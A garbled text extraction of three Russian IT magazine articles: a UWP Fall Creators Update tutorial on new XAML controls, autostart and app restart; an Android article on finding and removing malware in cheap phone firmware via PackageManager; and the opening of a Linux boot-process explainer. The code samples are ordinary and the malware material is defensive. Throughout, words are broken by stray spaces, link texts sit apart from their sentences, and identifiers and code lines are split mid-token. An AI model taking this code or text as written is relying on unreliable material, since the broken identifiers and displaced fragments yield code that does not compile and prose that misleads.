       <NavigationViewItem Icon="Video" Content="Color picker" Tag=
"color picker"/>
       <NavigationViewItem Icon="Audio" Content="Parallax" Tag=
"parallax"/>
       <NavigationViewItem Icon="Audio" Content="Другие контролы" 
Tag="другие"/>
   </NavigationView.MenuItems>
   <NavigationView.HeaderTemplate>
       <DataTemplate>
           <Grid Background="LightGray">
               <Grid.ColumnDefinitions>
                   <ColumnDefinition Width="Auto"/>
                   <ColumnDefinition/>
               </Grid.ColumnDefinitions>
               <TextBlock Style="{StaticResource TitleTextBlockS
tyle}"
                      FontSize="28"
                      VerticalAlignment="Center"
                      Margin="12,0"
                      Text="Это Header"/>
               <CommandBar Grid.Column="1"
                       HorizontalAlignment="Right"
                       DefaultLabelPosition="Right">
                   <AppBarButton Label="Дополнительная кнопка" Icon=
"Refresh"/>
               </CommandBar>
           </Grid>
       </DataTemplate>
   </NavigationView.HeaderTemplate>
   <NavigationView.PaneFooter>
       <Image Source="Assets/logo.png" Width="50" Height="50" />
   </NavigationView.PaneFooter>
   <Frame x:Name="ContentFrame">
       <Frame.ContentTransitions>
           <TransitionCollection>
               <NavigationThemeTransition/>
           </TransitionCollection>
       </Frame.ContentTransitions>
   </Frame>
</NavigationView>

Navigation View, получив шееся в резуль тате

Об рати  вни мание,  что  есть  воз можность  добавить  вниз  про изволь ные  кон‐ 
тро лы. В при мере туда добав лена кар тинка (кубик над пун ктом меню Settings/
Нас трой ки). Сам пункт меню Settings  вклю чает ся  и  вык люча ется  с  помощью
атри бута IsSettingsVisible.

В  коде  C#  в  событии  NavView_ItemInvoked  мож но  про верить,  была  ли
нажата кноп ка Settings.

if (args.IsSettingsInvoked)
{
    ContentFrame.Navigate(typeof(SettingsPage));
}

Или же мож но про верить содер жимое args.InvokedItem, где дол жен быть текст
нажато го эле мен та пун кта меню. Нап ример, так:

if (args.InvokedItem=="Начальная страница")
{
    ContentFrame.Navigate(typeof(HomePage));
}

Бо лее под робную информа цию смот ри на офи циаль ной 
.

стра нич ке докумен‐ 
тации

PERSON PICTURE CONTROL

Это эле мент управле ния, отоб ража ющий ава тар и имя/ини циалы поль зовате‐ 
ля. Доволь но прос той кон трол.

Так выг лядит Person Picture Control

До бавить на стра ницу его мож но с помощью сле дующе го тега:

<PersonPicture DisplayName="John Doe" Foreground="Black" Profil
ePicture="Assets\johndoe.jpg" Initials="JD" />

Его рекомен дует ся исполь зовать для отоб ражения ава тар ки  текуще го поль‐ 
зовате ля или какого‐либо кон такта.

Под робнее почитать о нем мож но  .здесь

RATING CONTROL

С этим кон тро лом тоже все дол жно быть понят но.

Звез дочки для выбора рей тин га

До бавить на стра ницу мож но сле дующим тегом:

<RatingControl x:Name="MyRatings" />

Офи циаль ная докумен тация  .тут

COLOR PICKER

Дол гождан ный кон трол для выбора цве та (да‐да, мы верим в то, что ты дол го
ждал появ ления кон тро ла для выбора цве та. :) — Прим. ред.)!

Эле мент управле ния, поз воля ющий выб рать цвет

В сле дующем при мере при изме нении цве та в кон тро ле авто мати чес ки меня‐ 
ется цвет фона (исполь зует ся прос тая при вяз ка, или, выража ясь ина че, бин‐ 
динг).

<Grid>
   <Grid.Background>
       <SolidColorBrush Color="{x:Bind myColorPicker.Color, 
Mode=OneWay}"/>
   </Grid.Background>
   <ColorPicker x:Name="myColorPicker" />
</Grid>

.Офи циаль ная докумен тация

Продолжение статьи →
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PARALLAX
Не рав номер ное  переме щение  объ ектов  при  прок рутке  поз воля ет  соз дать
эффект парал лакса.

Эф фект парал лакса

До пус тим, у тебя есть Grid, а внут ри него раз мещен какой‐то эле мент, содер‐ 
жимое  которо го  не помеща ется  на одной стра нице. И фоном в Grid  добав‐ 
лено изоб ражение. Для того что бы появил ся эффект парал лакса, необ ходимо
изоб ражение  обер нуть  в  тег  Parallax,  ука зав  в  качес тве  Source  при вяз ку
к очень‐очень длин ному кон тенту.

В сле дующем при мере ListView с име нем ForegroundElement не уме щает ся
на экра не. Фоном ему уста нов лено изоб ражение, и при прок рутке воз никнет
кра сивый эффект.

<Grid>

   <ParallaxView Source="{x:Bind ForegroundElement}" VerticalShift=

"50">

       <!‐‐ Фон ‐‐>

       <Image x:Name="BackgroundImage" Source="Assets/background.

jpg"

          Stretch="UniformToFill"/>

   </ParallaxView>

   <ListView x:Name="ForegroundElement">

       <x:String>Item 1</x:String>

       <x:String>Item 2</x:String>

       <x:String>Item 3</x:String>

       <x:String>Item 4</x:String>

       <x:String>Item 5</x:String>

       <x:String>Item 6</x:String>

       <x:String>Item 7</x:String>

       <x:String>Item 8</x:String>

       <x:String>Item 9</x:String>

       <x:String>Item 10</x:String>

       <x:String>Item 11</x:String>

       <x:String>Item 13</x:String>

       <x:String>Item 14</x:String>

       <x:String>Item 15</x:String>

       <x:String>Item 16</x:String>

       <x:String>Item 17</x:String>

       <x:String>Item 18</x:String>

       <x:String>Item 19</x:String>

       <x:String>Item 20</x:String>

       <x:String>Item 21</x:String>

   </ListView>

</Grid>

Под робнее читай в  .до кумен тации Microsoft

ACRYLIC MATERIAL
Это даже не сов сем эле мент управле ния. Это кисть, которая доволь но час то
исполь зует ся  в интерфей сах. Меню «Пуск»  в Fall Creators Update выпол нено
из акри ла. Вот так выг лядит стан дар тное при ложе ние «Каль кулятор» с фоном
из акри лово го матери ала:

Каль кулятор с фоном из акри ла

XAML‐код этой кис ти может выг лядеть при мер но так:

<AcrylicBrush TintColor="#ED3462ED" TintOpacity="0.8" FallbackColor=

"#ADAFAFFF"/>

Боль ше информа ции читай на сай те — вне зап но —  .microsoft.com

REVEAL
Опять  не  кон трол,  а  опре делен ный  све товой  эффект,  который  поз воля ет
акценти ровать  вни мание  поль зовате ля  на  тех  объ ектах,  что  находят ся
в фокусе кур сора.

Эф фект reveal

Не кото рые  кон тро лы  под держи вают  reveal  по  умол чанию. Это  ListView, Grid‐
View,  TreeView,  NavigationView,  AutosuggestBox,  MediaTransportControl,  Com‐
mandBar, ComboBox. А на некото рых кон тро лах этот эффект мож но вклю чить,
ука зав осо бый стиль. Нап ример, это мож но ука зать кноп ке:

<Button Content="Button Content" Style="{StaticResource Button

RevealStyle}"/>

.Офи циаль ная информа ция

ЕЩЕ ОДНО УЛУЧШЕНИЕ В ДИЗАЙНЕРЕ XAML
Ра зуме ется,  дизай нер  Visual  Studio  поз воля ет  отоб ражать  эти  кон тро лы
и  опти мизи рован  для  это го.  На  сле дующем  скрин шоте  ты  можешь  уви деть,
как  в  дизай нере  отоб ражен  ресурс  Acrylic  Brush  (Fall  Creators  Update  опять
сле ва).

Отоб ражение Acrylic Brush в дизай нере

По читать про улуч шения XAML‐дизай нера на англий ском с кучей тех ничес ких
деталей и уточ нений мож но здесь:  .A significant update to the XAML Designer

.NET STANDARD 2.0
Боль шим  шагом  впе ред  ста ла  под дер жка  .NET  Standard  2.0.  Но  для  него
необ ходимо,  что бы  у  нашего  про екта  вер сия  бил да  была  выше,  чем  1627.
Зато  теперь  пор тировать  код  .NET  Framework  при ложе ний  на  UWP  ста нет
гораз до про ще.

АВТОЗАПУСК ПРИЛОЖЕНИЯ
Кто бы мне ска зал, что эти стро ки я напишу в XXI веке :). Смот ри, как стиль но,
ново,  мод но  и  молодеж но  это  зву чит:  «одной  из  самых  инте рес ных  воз‐ 
можнос тей  явля ется  воз можность  запус кать  при ложе ние  при  запус ке  опе‐ 
раци онной  сис темы».  Да‐да,  рань ше  такая  воз можность  была  у  Desktop
Bridge при ложе ний, а у UWP‐при ложе ний ее не было.

Нас тро им  манифест.  При ложе ние  дол жно  исполь зовать  namespace‐кон‐ 
тракт 5‐й вер сии:

xmlns:uap5="http://schemas.microsoft.com/appx/manifest/uap/windows10/

5"

И необ ходимо зарегис три ровать рас ширение  .windows.startupTask

<uap5:Extension

   Category="windows.startupTask"

   Executable="App1.exe"

   EntryPoint="App1.App">

   <uap5:StartupTask

       TaskId="SomeIdThatIUseWithThisApp"

       Enabled="false"

       DisplayName="Name of Test App" />

</uap5:Extension>

Иерар хия нашего манифес та будет такой:   →   → 
 →   →  .

<Package> <Applications> <

Application> <Extensions> <uap5:Extension>

За регис три ровать  авто запуск  при ложе ния  мож но  с  помощью  подоб ного
кода:

// Сначала проверяем состояние автозапуска. Получаем его в 

переменную startupTask

StartupTask startupTask = await StartupTask.GetAsync("SomeIdThatIUseW

ithThisApp");

switch (startupTask.State)

{

   case StartupTaskState.Disabled:

       // В случае если автозапуск просто выключен, пробуем его 

включить

       StartupTaskState newState = await startupTask.RequestEnableAs

ync();

      // В переменной newState будет получен результат того, было 

ли включение автозапуска благополучным

       break;

   case StartupTaskState.DisabledByUser:

       // Здесь автоматически включить автозапуск не получится. Раз 

выключено пользователем, то значит, он автоматически его не хочет 

включать…

       break;

   case StartupTaskState.DisabledByPolicy:

// Автозапуск выключен групповыми политиками или не поддерживается 

устройством

       break;

   case StartupTaskState.Enabled:

       // Все уже включено :)

       break;

}

Этот код тре бует добав ления сле дующе го прос транс тва имен:

using Windows.ApplicationModel;

По умол чанию пос ле уста нов ки при ложе ния авто запуск вык лючен.
Ес ли  наше  при ложе ние  под держи вает  авто запуск,  то  мы  можем  перег‐ 

рузить  метод  OnActivated  и  получить  какие‐то  парамет ры.  При мер но  таким
обра зом:

protected override void OnActivated(IActivatedEventArgs args)

{

Frame rootFrame = Window.Current.Content as Frame;

if (rootFrame == null)

{

   rootFrame = new Frame();

   Window.Current.Content = rootFrame;

}

if (args.Kind == ActivationKind.StartupTask)

{ 

 // Здесь ты можешь получить аргументы автозапуска

   var startupArgs = args as StartupTaskActivatedEventArgs;

}

rootFrame.Navigate(typeof(MainPage));

Window.Current.Activate();

}

По читать про эту фун кци ональ ность на англий ском мож но здесь: 
.Configure your app to start at log‐in

ПЕРЕЗАПУСК ПРИЛОЖЕНИЯ
Еще один при мер из той же серии — воз можность переза пус ка при ложе ния.
Пред полага ется, что это может быть необ ходимо для переза пус ка игры/при‐ 
ложе ния пос ле обновле ния лицен зии или  уста нов ки  какого‐то допол нитель‐ 
ного кон тента.

Де лает ся переза пуск одной строч кой:

AppRestartFailureReason result = await CoreApplication.Reques

tRestartAsync("строка с какими‐нибудь параметрами, которые можно 

считать при активации приложения");

И добав лени ем прос транс тва имен:

using Windows.ApplicationModel.Core;

Воз вра щаемым  зна чени ем перемен ной  result может быть одно из  зна чений
: NotInForeground, RestartPending, Other.APPRestartFailureReason

Пе реза пус каемое  при ложе ние  дол жно  быть
видимым на момент переза пус ка.

Еще есть воз можность переза пус тить при ложе ние в кон тек сте дру гого поль‐ 
зовате ля с помощью RequestRestartForUserAsync.

При мер переза пус кающе гося при ложе ния находит ся по сле дующей ссыл‐ 
ке:  .Request Restart Sample

Ан глий ская статья — тут:  .How to Restart your App Programmatically

НАШ ПРИМЕР ГОТОВОГО ПРОЕКТА
Ра зуме ется, одной теорией сыт не будешь, поэто му все перечис ленные фичи
я поп робовал на прак тике, в резуль тате чего у меня получи лось прос тень кое
и веселень кое при ложе ние. Дос тупно оно на  . Код там ясный и понят‐ 
ный, думаю, раз берешь ся без проб лем.

GitHub

ЗАКЛЮЧЕНИЕ
На пос ледок хотелось бы заметить, что не так дав но вышел в свет UWP‐шный

. Обыч ные дебаг геры поз воля ют дви гать ся толь ко впе ред по вре мени
выпол нения  кода,  а  этот обла дает фичей под наз вани ем Time Travel Debug‐
ging (TTD), с помощью которой мож но вер нуть ся назад по про цес су исполне‐ 
ния  кода.  Инте рес но,  что  код  мож но  выпол нить  на  опре делен ной  машине
(имен но  на  той,  на  которой  воз ника ет  баг)  и  записать  про цесс  исполне ния
кода. Будет соз дан  trace‐файл с рас ширени ем  .RUN. Этот файл мож но про‐ 
игры вать мно жес тво раз и ана лизи ровать.

WinDbg

https://docs.microsoft.com/en-us/windows/uwp/style/parallax
https://docs.microsoft.com/en-us/windows/uwp/style/acrylic
https://docs.microsoft.com/en-us/windows/uwp/style/reveal
https://blogs.msdn.microsoft.com/visualstudio/2017/09/11/a-significant-update-to-the-xaml-designer/
https://blogs.windows.com/buildingapps/2017/08/01/configure-app-start-log/
https://docs.microsoft.com/en-us/uwp/api/windows.applicationmodel.core.apprestartfailurereason
https://github.com/Microsoft/AppModelSamples/tree/master/Samples/TestRestart
https://blogs.windows.com/buildingapps/2017/07/28/restart-app-programmatically/#SP3PCMD6VXoQAmVZ.97
https://github.com/programmersommer/FallCreatorsApp
https://www.microsoft.com/en-us/store/p/windbg/9pgjgd53tn86
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КОДИНГ

Вла дель цы  смар тфо нов,  при обре тен ных  на  условном  «Али‐ 
экс прес се»  за  условные  пять десят  дол ларов,  исчисля ются
десят ками  тысяч.  Безус ловно,  поль зовать ся  такими  подел‐ 
ками  мож но,  толь ко  вот  их  про изво дите ли  вынуж дены  эко‐ 
номить  на  каж дом  эта пе,  и  здесь  мы  говорим  даже  не  о
проб лемах с железом и качес твом сбор ки — про шив ка таких
телефо нов  может  содер жать  боль шие  сюр при зы:  мал варь,
тро яны  и  абсо лют но  не  опти мизи рован ные  при ложе ния,
которые  бес пощад но  жрут  батарею.  В  этой  статье  мы
покажем, как дать решитель ный бой все му это му дур но пах‐ 
нущему прог рам мно му мусору.

Са мый  пря мой  и  бру таль ный  спо соб  решения
проб лемы заражен ной про шив ки — накатить чис‐ 
тую и про верен ную. :)

ОТКУДА БЕРУТСЯ ВРЕДОНОСЫ НА УСТРОЙСТВЕ?

Рань ше основным каналом пос тавки на устрой ство вре донос ных при ложе ний
были  форумы  и  неофи циаль ные  магази ны.  Нем ногие  уже  вспом нят,  как 

  уго няла  логины  и  пароли  от  нашей  самой  популяр ной  соци аль ной
сети.  Доволь ные  поль зовате ли  ска чива ли  ее  с  4pda.ru,  а  потом  некото рые
из  них  недо уме вали,  прос матри вая  свои  сес сии  из  стран,  где  они  никог да
не бывали. Мы уже писали, что сегод ня не так слож но опуб ликовать вре донос
в Google Play, тог да воп рос его рас простра нения ста новит ся воп росом поис‐ 
ковой опти миза ции в мар кете (ASO).

vk

музыка

Но  сей час  неред ко  про шив ку  заража ют  нечес тные  пос редни ки  или  сами
про изво дите ли  устрой ств.  В  подоб ном  слу чае  спектр  злов редной  деятель‐ 
нос ти  прос тира ется  от  баналь ного  показа  рек ламы  и  кра жи  лич ных  дан ных
до май нин га наших любимых крип товалют пря мо на всех ядрах устрой ства.

КАК НАЙТИ ВРЕДОНОС?

Стран ности в поведе нии устрой ства обыч но всплы вают уже в пер вую неделю
исполь зования.  Нап ример,  одна  кас томная  кла виату ра  вре мя  от  вре мени
показы вала межс тра нич ное объ явле ние в самых неожи дан ных мес тах. Дру гие
«быс трые  бра узе ры»  могут  без  спро са  уста нав ливать  чужие  при ложе ния.
Заподоз рив ано маль ную активность, с помощью сто рон них прог рамм мож но
пос мотреть  манифест  устрой ства,  вызыва юще го  сом нения.  Нап ример, 

 раз реша ет соз давать окна поверх
всех  осталь ных  при ложе ний.  Очень  удоб но  для  показа  рек ламы,  как  ты
догадал ся.  А  для  уста нов ки  при ложе ний  нужен 

.

an‐
droid.permission.SYSTEM_ALERT_WINDOW

android.permission.RE‐
QUEST_INSTALL_PACKAGES

  уста новок  так  и  работа ют  —  сна чала  заража ем
устрой ства  сво ими  уста нов щиками,  потом  при нима ем  заказы  от  легаль ных
или не очень раз работ чиков на уста нов ку. С помощью трю ков с 

 мож но даже оста вить отзыв и оцен ку в при ложе нии Google Play.
Отзы вы,  оцен ки  и  количес тво  уста новок —  важ ный фак тор  для  ASO  любого
при ложе ния, так что услу га еще дол го будет вос тре бова на на рын ке.

Се рые  нак рутчи ки

accessibil‐
ity service

КАК ОБЕЗВРЕДИТЬ ВРЕДОНОС?

Ло кали зовав зло качес твен ный пакет, мож но сра зу его уда лить и успо коить ся.
Но прос тое уда ление работа ет,  толь ко ког да этот пакет не сис темный. Если
пакет сис темный, мож но его уда лить с помощью рут‐дос тупа. Возь ми 

  или  напиши  свой  собс твен ный  инс тру мент.  Ког да  рут‐прав
нет,  но  вре донос  есть  в  спис ке  при ложе ний,  мож но  прос то  уда лить  его
обновле ния и отклю чить его.

сто рон‐ 
нее при ложе ние

Ес ли на этом мучения поль зовате ля оста нови лись, его мож но поз дра вить.
В  самых  запущен ных  слу чаях  (нет рута,  и  вре донос  засел  в  сис теме) может
помочь  лишь  пол ная  переп рошив ка  устрой ства,  но  она  дос тупна  толь ко
с раз бло киро ван ным заг рузчи ком, а не на всех  устрой ствах мож но это сде‐ 
лать (кста ти, и не на всех устрой ствах мож но получить рут‐дос туп). Если заг‐ 
рузчик нель зя раз бло киро вать, нет рут‐прав и вре донос не све тит ся в спис ке
при ложе ний в нас трой ках, то лекарс тво оста ется толь ко одно — магазин. :)

Пе ред  покуп кой  нового  устрой ства  обя затель но
най ди его вет ку на 4pda.ru.  Там может  уже быть
вся  нуж ная  информа ция  о  нежела тель ных  при‐ 
ложе ниях,  более  чис тых  про шив ках  и  спо собах
получе ния рут‐прав.

КАК ПРОЧИТАТЬ МАНИФЕСТ УСТАНОВЛЕННОГО ПРИЛОЖЕНИЯ?

Для  чте ния  манифес тов  не  тре бует ся  спе циаль ных  раз решений  в  сис теме.
Любое при ложе ние может это делать без спро са, исполь зуя кон текст чужого
при ложе ния:

Context context = createPackageContext(packageName, CONTEXT_RESTRIC
TED);
parser = context.getResources().getAssets().openXmlResourceParser(
"AndroidManifest.xml");

Ес ли пишешь свое при ложе ние, удоб нее все го отоб разить манифест в ком‐ 
понен те  . Сна чала сге нери руй кра сивый HTML‐файл (со сти лями CSS
и  про чим),  потом  заг рузи  его  в  WebView.  Есть  так же  и  готовые  читал ки
манифес тов, в мар кете можешь сам поис кать по зап росу  .

WebView

manifest view

КАК ПОЛУЧИТЬ МНОЖЕСТВО ИНФОРМАЦИИ ОБ УСТАНОВЛЕННОМ

APK ПРИ ПОМОЩИ PACKAGEMANAGER?

С пер вой вер сии Android SDK у нас есть замеча тель ный инс тру мент — 
. Его метод   вер нет спи сок уста‐ 

нов ленных  на  устрой стве  при ложе ний  (ApplicationInfo),  как  сис темных,  так
и  поль зователь ских. Зная  уста нов ленные на  устрой стве при ложе ния, мож но
опти мизи ровать рек ламу. Нап ример, не показы вать рек ламу тех, что уже есть.
Или же мож но  прос то  собирать  ста тис тику  по  поль зовате лям.  Есть мне ние,
что кто‐то за эту ста тис тику пла тит, но мне таких пока не встре чалось.

класс
PackageManager getInstalledApplications

  содер жит мно го полез ной информа ции  (имя пакета,
путь  до  APK‐фай ла,  вклю чено  или  отклю чено  при ложе ние  и  так  далее).
Но если ее ока залось мало, то вызови метод   для нуж ного
име ни пакета при ложе ния, и получишь еще боль ше дан ных в 

 (вер сия, вре мя уста нов ки, вре мя пос ледне го обновле ния и про чее).

Класс ApplicationInfo

getPackageInfo()
клас се Package‐

Info

КАК ИЗВЛЕЧЬ УСТАНОВЛЕННЫЙ APK-ФАЙЛ?

Класс  PackageManager  поз воля ет  нам  получить  не  толь ко  спи сок  всех
зарегис три рован ных пакетов в сис теме, но и сами APK‐фай лы этих пакетов.
Дирек тория   содер жит путь до APK‐фай ла (нап‐ 
ример,  ).  Мы  можем  ско пиро вать  файл
во  внут реннюю  кеш‐пап ку  нашего  при ложе ния,  а  отту да  уже  поделить ся
с дру гими при ложе ниями с помощью  .

ApplicationInfo.sourceDir
/data/app/имя_пакета/base.apk

FileProvider
Ис поль зование  FileProvider  —  рекомен дован ный  Google  спо соб  обме на

фай лами меж ду при ложе ниями. Он, кста ти, не тре бует прав дос тупа к внеш‐ 
нему  хра нили щу 

,  так  что  прос тое  при ложе ние  будет  иметь
на один зап рос прав мень ше. Вот мы копиру ем APK в пап ку с кешем:

<uses‐permission  android:name="android.permission.
WRITE_EXTERNAL_STORAGE"/>

public static File copyFileToFilesDir(Context context, String 
fileName, String name) throws IOException {
 File src = new File(fileName);
 File dst = new File(context.getCacheDir(), name + ".apk");
 FileChannel inChannel = new FileInputStream(src).getChannel();
 FileChannel outChannel = new FileOutputStream(dst).getChannel();
 try {
   inChannel.transferTo(0, inChannel.size(), outChannel);
 } catch (IOException e) {
   e.printStackTrace();
 } finally {
   if (inChannel != null) {
     inChannel.close();
   }
   outChannel.close();
 }
 return dst;

}

Вот как поделить ся при ложе нием:

public void shareApk(View view) throws IOException {
 Intent shareIntent = new Intent();
 shareIntent.setAction(Intent.ACTION_SEND);
 shareIntent.setType("application/xml");
 Uri uri = FileProvider.getUriForFile(this, "ru.androidtools.

greenbro.files",
   Tools.copyFileToFilesDir(this, app.sourceDir, app.packageName));
 shareIntent.putExtra(Intent.EXTRA_STREAM, uri);
 startActivity(Intent.createChooser(shareIntent, getResources().

getText(R.string.share_file)));
}

КАК ПРОВЕРИТЬ ПРИЛОЖЕНИЕ НА ПРИСУТСТВИЕ В МАРКЕТАХ И

ЧТО ДАЕТ ЭТА ИНФОРМАЦИЯ?

Класс  PackageManager  может  ска зать  нам  имя  пакета  при ложе ния,  уста‐ 
новив шего пакет. Для это го исполь зует ся метод 

,  который  вер нет  стро ку.  Нап ример,  Play  Мар кет
име ет    или  ,  Amazon  App  Store  —

, мар кет от Samsung — 
. А вот при ложе ния с F‐Droid  ука зыва ют не на него, а на 

, как буд то бы их уста новил сам поль зователь.

getPackageManager().get‐
InstallerPackageName()

com.google.market com.google.market
com.amazon.venezia com.sec.android.app.samsun‐
gapps com.google.
android.packageinstaller

Зная  источник  уста нов ки  и  имя  пакета  самого  при ложе ния,  мож но  пос‐ 
тучать ся в мар кеты по кон крет ным URL. Наличие прог раммы в мар кете — уже
некото рый повод для само успо коения, все‐таки их иног да чис тят. А вот если
при ложе ние  было  из  мар кета  уда лено,  то  это  серь езный  сиг нал  для  бес‐ 
покой ства  (его,  конеч но,  мог ли  уда лить  из‐за  какой‐нибудь  чепухи,  вро де
наруше ния чужих автор ских прав, но, ско рее все го, это было что‐то реаль но
нехоро шее).

Для получе ния URL при ложе ния в Play Мар кет и F‐Droid исполь зуй строч ки

String playStoreUrl = "https://play.google.com/store/apps/
details?id=" + packageName;
String fdroidStoreUrl = "https://www.f‐droid.org/packages/" + packag
eName;

Ана логич но  мож но  про верять  и  осталь ные  мар кеты.  Код  прос той  про вер ки
(запус кай толь ко в фоновых потоках, так как исполь зует ся сеть):

private void checkPlayMarket(String playStoreUrl) {
 try {
   URL url = new URL(playStoreUrl);
   HttpURLConnection connection = (HttpURLConnection) url.openCo
nnection();
   connection.setRequestMethod("GET");
   connection.connect();
   int code = connection.getResponseCode();
   if (code == 200){
     // Есть в маркете
   }
   if (code == 404){
     // Нет в маркете
   }
   connection.disconnect();
 } catch (Exception e) {
   Log.e("CheckStoreTask", e.toString());
 }

}

ЧИТАЕМ СИСТЕМНЫЕ РЕСУРСЫ ОПИСАНИЯ РАЗРЕШЕНИЙ

ANDROID

Бы вает,  что  нуж но  сде лать  опи сание  раз решений,  исполь зуемых  при ложе‐ 
нием. Для таких слу чаев мож но загото вить мно жес тво стро чек, пом ножен ное
на  количес тво  локалей...  плюс  к  каж дой  нуж на  своя  кар тинка.  От  таких
решений APK нашего конеч ного при ложе ния будет пух нуть на гла зах. А как ты
зна ешь, есть еще люди в 2017 году (за пре дела ми Мос квы их нес коль ко мил‐ 
лионов),  для  которых  раз мер  APK‐фай ла  при ложе ния  очень  важен.  Мес та
на хра нили ще устрой ства навер няка хва тает всем, но очень дорогой интернет
зас тавля ет людей учи тывать этот показа тель при выборе при ложе ния.

Мож но зай ти с дру гой сто роны и взять опи сание и ресур сы из самой сис‐ 
темы  (класс  PermissionInfo).  Они  уже  сра зу  будут  локали зова ны,  так  что
перевод чики  пока  отдохнут.  Спи сок  раз решений  кон крет ного  при ложе ния
получа ем вот так:

PackageInfo packageInfo = getPackageManager().getPackageInfo(app.
packageName, PackageManager.GET_PERMISSIONS);
String[] requestedPermissions = packageInfo.requestedPermissions;

Ин форма цию о раз решени ях — так:

PermissionInfo pinfo = getPackageManager().getPermissionInfo(reques
tedPermissions[i], PackageManager.GET_META_DATA);

Как  ты зна ешь, раз решения в  «Андро иде» раз делены по  груп пам. Получа ем
заголо вок  :getGroupTitle(pinfo.group)

private String getGroupTitle(String perm) {
 String result = getString(R.string.others_permission);
 try {
   PermissionGroupInfo groupInfo = getPackageManager().getPer
missionGroupInfo(perm, 0);
   result = groupInfo.loadLabel(getPackageManager()).toString();
 } catch (PackageManager.NameNotFoundException e) {
   e.printStackTrace();
 }
 return result;

}

За голо вок раз решения и кар тинку:

private CharSequence loadItemInfoLabel(PermissionInfo pinfo) {
 CharSequence label = pinfo.loadLabel(getPackageManager());
 if (label == null) {
   label = pinfo.name;
 }
 return label;

}
private Drawable loadItemInfoIcon(String perm) {
 Drawable icon;
 icon = Tools.getPermissionDrawable(getPackageManager(), perm);
 if (icon == null) icon = ContextCompat.getDrawable(this, R.drawable

.ic_perm_device_info);
 return icon;

}

Будь  осто рожен:  в  любой момент может  прий ти  null,  так  что  имей  заг лушки
на этот слу чай. Пока!

https://android-tools.ru/
https://goo.gl/Ht6LvY
https://developer.android.com/reference/android/content/pm/PackageManager.html
https://developer.android.com/reference/android/content/pm/ApplicationInfo.html
https://developer.android.com/reference/android/content/pm/PackageInfo.html
https://android-tools.ru/coding/delimsya-fajlami-v-android-s-pomoshhyu-fileprovider/
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Луч ший  спо соб  понять,  как  работа ет  опе раци онная  сис‐ 
тема,  —  это  прос ледить  поэтап но  ее  заг рузку.  Имен но
во вре мя  заг рузки  запус кают ся  все  те механиз мы,  что при‐ 
водят ОС в дви жение. Про цесс этот слож ный, мно гос тупен‐ 
чатый и порой запутан ный. Изу чать его инте рес но, а откры‐ 
тия, которые ты сде лаешь при этом, могут силь но тебя уди‐ 
вить.

В  целом  заг рузку  сред неста тис тичес кого  дис три бути ва  Linux  мож но  раз‐ 
делить на пять ста дий:
1. Заг рузчик.
2. За пуск и пер вичная ини циали зация ядра.
3. Об наруже ние  обо рудо вания,  заг рузка  драй веров  и  под клю чение  фай‐ 
ловых сис тем.

4. За пуск сис темных служб (демонов).
5. Старт гра фичес кой или кон соль ной поль зователь ской сес сии.

Мы прой дем ся по всем ста диям и узна ем, что про исхо дит во вре мя заг рузки
типич ного дис три бути ва Linux, нем ного откло нив шись в сто рону BSD, macOS
и  Android  по  пути.  Во  мно гих  слу чаях  это  поз волит  понять,  почему  про цесс
заг рузки Linux имен но такой, какой есть.

1. ЗАГРУЗЧИК

Все  начина ется  с  заг рузчи ка,  которо му  во  вре мя  стар та  машины  BIOS
переда ет  управле ние. В ста рые вре мена,  ког да Linux был не  так популя рен,
в  качес тве  заг рузчи ка  исполь зовал ся  LILO  (Linux  Loader) —  прос той,  очень
при митив ный и не поз воля ющий менять кон фигура цию заг рузки на лету. Фак‐ 
тичес ки  кон фигура цион ный файл  был  вшит  в  сам  заг рузчик,  и  его  при ходи‐ 
лось пере уста нав ливать пос ле каж дой сме ны нас тро ек: обно вил ядро, забыл
пере уста новить, и твой ноут бук боль ше не гру зит ся.

Се год ня  заг рузкой  Linux  прак тичес ки  в  любом  дис три бути ве  занима ется
,  изна чаль но  раз работан ный  для  опе раци онной  сис темы  GNU/Hard.

Grub гораз до слож нее LILO и фак тичес ки сам явля ется пол ноцен ной ОС. Он
не прос то чита ет кон фиг заг рузки (обыч но это  ) пря мо
с дис ка, но и поз воля ет испра вить этот кон фиг на мес те. Grub име ет встро‐ 
енную  коман дную  стро ку,  работа ет  с  десят ком  раз личных фай ловых  сис тем
и поз воля ет фор мировать слож ные цепоч ки заг рузки.

Grub

/boot/grub/grub.cfg

Как толь ко поль зователь выбира ет нуж ный пункт меню (либо по исте чении
тайм‐аута),  Grub  находит  свя зан ный  с  этим  пун ктом меню  образ  ядра  Linux
на  дис ке  (обыч но  это  файл  ),  а  так же  зак реплен ный  за  ним
образ initramfs (о нем чуть поз же), заг ружа ет их в память и переда ет управле‐ 
ние ядру.

/boot/vmlinuz

Что бы уви деть меню Grub в Ubuntu, необ ходимо удер живать Shift

Наз вание  фай ла  с  обра зом  ядра  име ет  исто ричес кие  кор ни.  Изна чаль но
образ  ядра  клас сичес кого UNIX называл ся прос то unix,  но,  ког да появи лась
вер сия ядра для про цес соров с  защитой памяти,  что бы избе жать путани цы,
наз вание  сме нили  на  vmunix.  Бук ва  z  вмес то  x  на  кон це,  в  свою  оче редь,
озна чает,  что образ сжат с помощью ути литы gzip  (алго ритм Deflate,  тот же,
что в клас сичес ком ZIP).

2. ЯДРО И INITRAMFS

По лучив управле ние, ядро начина ет пер вичную ини циали зацию: запус кает ся
под систе ма  управле ния  памятью,  нас тра ивает ся  обра бот чик  пре рыва ний,
ини циали зиру ются  необ ходимые  для  даль нейшей  работы  ядра  струк туры
дан ных.  Ког да  эта  работа  будет  закон чена,  ядро  рас паковы вает  архив

  (обыч но он име ет имя вида   и пред‐ 
став ляет  собой  архив  cpio,  сжа тый  с  помощью  gzip)  в  фай ловую  сис тему
в  опе ратив ной  памяти  (tmpfs),  дела ет  ее  кор невой  фай ловой  сис темой
и запус кает скрипт   (в раз личных дис три бути вах имя может отли чать ся).

initramfs /boot/initramfs‐linux.img

/init
Initramfs вклю чает в себя базовый набор ком понен тов Linux‐дис три бути ва:

стан дар тные сис темные катало ги  ,  ,    и  так далее, прос тей ший
коман дный  интер пре татор  (обыч но  ash),  набор  команд  BusyBox,  нес коль ко
вспо мога тель ных биб лиотек и набор модулей ядра (драй веров), пред назна‐ 
чен ных для работы с раз личны ми накопи теля ми и фай ловыми сис темами.

/bin /lib /etc

Со дер жимое initramfs

Смысл сущес тво вания initramfs в том, что бы решить проб лему курицы и яйца:
заг рузить драй веры для под клю чения реаль ной кор невой фай ловой сис темы
до того, как она будет под клю чена. Имен но это и про исхо дит, ког да сис тема
запус кает скрипт  . Он опре деля ет уста нов ленные в сис тему накопи тели,
